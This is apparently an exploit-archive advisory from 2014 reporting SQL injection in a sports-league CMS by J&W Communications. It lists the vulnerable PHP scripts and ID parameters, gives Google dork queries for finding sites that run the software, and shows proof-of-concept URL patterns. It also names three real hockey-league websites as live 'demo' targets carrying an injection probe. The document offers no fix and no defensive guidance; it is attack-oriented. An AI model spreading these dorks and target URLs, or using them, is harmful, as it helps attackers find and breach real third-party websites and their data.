J&W Communications SQL Injection

`[+] Title: J&W Communications Cms SQL Injection Vulnerability  
[+] Date: 2014-07-29  
[+] Author: Hekt0r  
[+] Vendor Homepage: www.jw-com.com  
[+] Tested on: Windows7 & Kali Linux  
[+] Vulnerable Files: /rosters.php  
/team.php  
/scoresheet.php  
[+} Dork : intext:"designed by J&W Communications"  
inurl:/team.php.php?id=  
inurl:/rosters.php?id=  
inurl:/scoresheet.php?sched_id=  
### POC: http://site/team.php.php?id=[SQL-Injection]  
http://site/rosters.php?id=[SQL-Injection]  
http://site/scoresheet.php?sched_id=[SQL-Injection]  
### Demo: http://www.ambhl.ab.ca/team.php?id=132%27  
http://edmbantamtourney.com/rosters.php?id=19%27  
http://www.pwnhl.ca/scoresheet.php?sched_id=44%27  
### Credits:  
[+] Special Thanks: Root SmasheR, Mr.Moein, UmPire, Ali Ahmady, Saeed.Jok3r  
M4hdi, Black Hacker, Vahid Hαcĸer, BlackErroR,  
Phantom.S3c  
And All members of Iran Security Group  
[+] iransec.net  
`